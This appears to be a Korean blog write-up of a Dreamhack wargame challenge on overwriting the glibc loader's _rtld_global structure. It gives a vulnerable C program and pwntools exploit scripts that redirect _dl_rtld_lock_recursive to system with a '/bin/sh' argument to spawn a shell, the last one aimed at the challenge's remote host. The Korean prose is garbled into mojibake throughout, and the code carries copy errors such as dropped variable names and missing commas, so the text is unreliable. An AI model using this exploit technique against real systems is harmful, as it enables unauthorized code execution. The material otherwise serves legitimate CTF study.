Jastes 2022. 11. 13. 23:00


Overwrite _rtld_global

ํ”„๋กœ๊ทธ๋žจ์—์„œ ๋ฆฌํ„ด ๋ช…๋ น์–ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ฉด lib์™€ ๋กœ๋”์—์„œ ๋‹ค์–‘ํ•œ ํ•จ์ˆ˜ ํ˜ธ์ถœ!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
#include <stdio.h>
#include <stdlib.h>
 
void init() {
  setvbuf(stdin, 020);
  setvbuf(stdout, 020);
}
 
int main() {
  long addr;
  long data;
  int idx;
 
  init();
 
  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d"&idx);
 
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld"&addr);
        printf("data: ");
        scanf("%ld"&data);
        *(long long *)addr = data;
        break;
 
      default:
          return 0;
    }
  }
  return 0;
}
cs

๋ชจ๋“  ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ์ ์šฉ๋œ ๋ชจ์Šต ์•„๋ฌด๋ž˜๋„ ๋กœ๋”๋ฅผ ์šฐํšŒํ•˜์—ฌ ์‹คํ–‰ํ•ด๋ด์•ผ๊ฒ ๋„ค์š”


exploit ์„ค๊ณ„

 lib ๋ฐ loder base addr ๊ณ„์‚ฐ

์˜ˆ์ œ์—์„œ ์ œ๊ณตํ•œ stdout ์ฃผ์†Œ๋ฅผ ํ†ตํ•ด lib_base๋ฅผ ๊ตฌํ•˜๊ณ  "/lib64/ld-linux-x86-64.so.2"๊ฐ€
๋งตํ•‘๋œ ๋กœ๋”์˜ ๋ฒ ์ด์Šค ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ด…์‹œ๋‹ค.

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์™€ ๋กœ๋”๊ฐ€ ๋งตํ•‘๋œ ์ฃผ์†Œ์˜ ๊ฐ„๊ฒฉ์€ ์ผ์ •ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋””๋ฒ„๊น…์„ ํ†ตํ•ด
๊ฐ„๊ฒฉ์„ ์•Œ์•„๋‚ด๊ณ  ์˜คํ”„์…‹์„ ๊ณ„์‚ฐํ•ด ์•Œ์•„๋ด…์‹œ๋‹ค.

_rtld_global ๊ตฌ์กฐ์ฒด ๊ณ„์‚ฐ

๋กœ๋”์˜ ๋ฒ ์ด์Šค ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ƒˆ๋‹ค๋ฉด, rtld_global ๊ตฌ์กฐ์ฒด์˜ ์‹ฌ๋ณผ ์ฃผ์†Œ๋ฅผ ๋”ํ•ด ํ•ด๋‹น ๊ตฌ์กฐ์ฒด์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๊ณ ,
๋งด๋ฒ„ ๋ณ€์ˆ˜์ธ _dl_load_lock๊ณผ _dl_rtld_lock_recursiveํ•จ์ˆ˜ ํฌ์ธํ„ฐ์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ฉ๋‹ˆ๋‹ค.

_rtld_global ๊ตฌ์กฐ์ฒด ์กฐ์ž‘

ํ”„๋กœ๊ทธ๋žจ์„ ์ข…๋ฃŒํ•˜๋Š” ๊ณผ์ •์—์„œ _rtld_global ๊ตฌ์กฐ์ฒด์˜ _dl_rtld_lock_recursiveํ•จ์ˆ˜ํฌ์ธํ„ฐ๋ฅผ ํ˜ธ์ถœ
๋”ฐ๋ผ์„œ dl_load_lock์— "/bin/sh"๋˜๋Š” "sh" ๋ฌธ์ž์—ด์„ ์‚ฝ์ž…ํ•˜๊ณ ,
dl_rtld_lock_recursive๋ฅผ system ํ•จ์ˆ˜๋กœ ๋ฎ์–ด์“ฐ๋ฉด ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


Exploit code

1. libc, loader_base ๊ณ„์‚ฐ

์˜ˆ์ œ์—์„œ ์ฃผ์–ด์ง„ stdout ๋ผ์ด๋ธŒ ์ฃผ์†Œ๋ฅผ ์ด์šฉํ•ด ์‰ฝ๊ฒŒ lib_base ์ฃผ์†Œ๋Š” ์ด์ „์— ํ–ˆ๋˜๊ฒƒ์ฒ˜๋Ÿผ ์‰ฝ๊ฒŒ IO_2_1_stdout
์‹ฌ๋ณผ ์ฃผ์†Œ๋ฅผ ๋นผ ์‰ฝ๊ฒŒ ์•Œ์•„๋‚ด๋ฉฐ, ๋กœ๋”์˜ ์ฃผ์†Œ๋Š” ๋””๋ฒ„๊น…์„ ํ†ตํ•ด lib_base์™€ ๋นผ ๊ฒฐ๊ณผ๋ฅผ ๊ตฌํ•˜๋ฉด.. ์‰ฝ๊ฒŒ ๊ตฌํ•ฉ๋‹ˆ๋‹ค.

ํ•˜.. ์—ฌ๊ธฐ์„  libc์˜ ์ฃผ์†Œ๋Š” ์–ด๋–ป๊ฒŒ ๋”ฐ๋กœ ๊ตฌํ•ด์„œ ๋„ฃ์–ด์•ผ๊ฒ ๋„ค์š”(์Œ!)
ํ™˜๊ฒฝ ๋ฌธ์ œ ๋•œ์— ํ•˜.. ์‹ค์ œ๋ก  0x3f1000

๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋Š” main ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ์ „์— ๋žœ๋ค์˜ ์นด๋‚˜๋ฆฌ๋ฅผ ์“ฐ๋ ˆ๋“œ๋งˆ๋‹ค ์ „์—ญ ๋ณ€์ˆ˜๋กœ ์‚ฌ์šฉ๋˜๋Š”
TLS์— ์ €์žฅ ์ด๋Š” ๋ชจ๋“  ์“ฐ๋ ˆ๋“œ๊ฐ€ ํ•˜๋‚˜์˜ ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ์ด๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Name: ow_rtld.py
from pwn import *
 
= process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')
 
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
 
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
 
print(hex(libc_base))
print(hex(ld_base))
 
p.interactive()
cs

result


_rtld_global ์ฃผ์†Œ ๊ณ„์‚ฐ

lib_base์™€ loader_base ์ฃผ์†Œ๋ฅผ ์•Œ์•˜๋‹ค๋ฉด _rtld_global ๊ตฌ์กฐ์ฒด์™€ ๋ฎ์–ด์“ธ ๋ฉค๋ฒ„ ๋ณ€์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ด๋ด…์‹œ๋‹ค.
์ด ๋˜ํ•œ ๋””๋ฒ„๊น…์„ ํ†ตํ•ด ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฐ ์˜คํ”„์…‹์ธ 2568..(2312)์™€ recurisive์ธ(3840)

Dreamhack์—์„œ ์š”์ฒญํ•˜๋Š” ํ•จ์ˆ˜์ธ rtld_lock_recursive๊ฐ€ ์—†๋Š”๋ฐ ํ™˜๊ฒฝ ๋ฌธ์ œ๊ฐ™์•„์„œ
์ถ”ํ›„ ๊ตฌ์ถ• ํ›„ ์ถ”๊ฐ€์ ์œผ๋กœ ์ˆ˜์ •ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Name: ow_rtld.py
from pwn import *
 
= process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')
 
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
 
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
 
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
 
p.interactive()
cs

_rtld_global ๊ตฌ์กฐ์ฒด ์กฐ์ž‘

๋ฎ์–ด์“ธ ์ฃผ์†Œ๋ฅผ ๋ชจ๋‘ ์•Œ์•˜๋‹ค๋ฉด _dl_rtld_lock_recursive๋ฅผ lib ํ•จ์ˆ˜ system์œผ๋กœ ๋ฎ์–ด์“ฐ๊ณ ,
dl_load_lock ์ฃผ์†Œ์— 'sh' ๋˜๋Š” '/bin/sh' ๋ฌธ์ž์—ด์„ ์“ฐ๋ฉด ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

GitHub - Ex-Origin/ctf-writeups

Contribute to Ex-Origin/ctf-writeups development by creating an account on GitHub.

github.com

์—ฌ๊ธฐ์„œ ํŒŒ์ผ ๋‹ค์šด๋ฐ›๊ณ  ld๋ฅผ ld = ELF('./ld-2.27.so')๋กœ ๋ฐ”๊พธ๊ณ  ํ•˜๋ฉด...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
 
= remote("host3.dreamhack.games"18969)
libc = ELF('./libc-2.27.so_18.04.3', checksec=False)
ld = ELF('./ld-2.27.so')
 
p.recvuntil(": ")
 
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
 
 
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
 
system = libc_base + libc.symbols['system']
 
p.sendlineafter("> ""1")
p.sendlineafter("addr: "str(dl_load_lock))
p.sendlineafter("data: "str(u64("/bin/sh\x00")))
 
p.sendlineafter("> ""1")
p.sendlineafter("addr: "str(dl_rtld_lock_recursive))
p.sendlineafter("data: "str(system))
 
p.sendlineafter("> ""2")
p.interactive()
 
cs


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€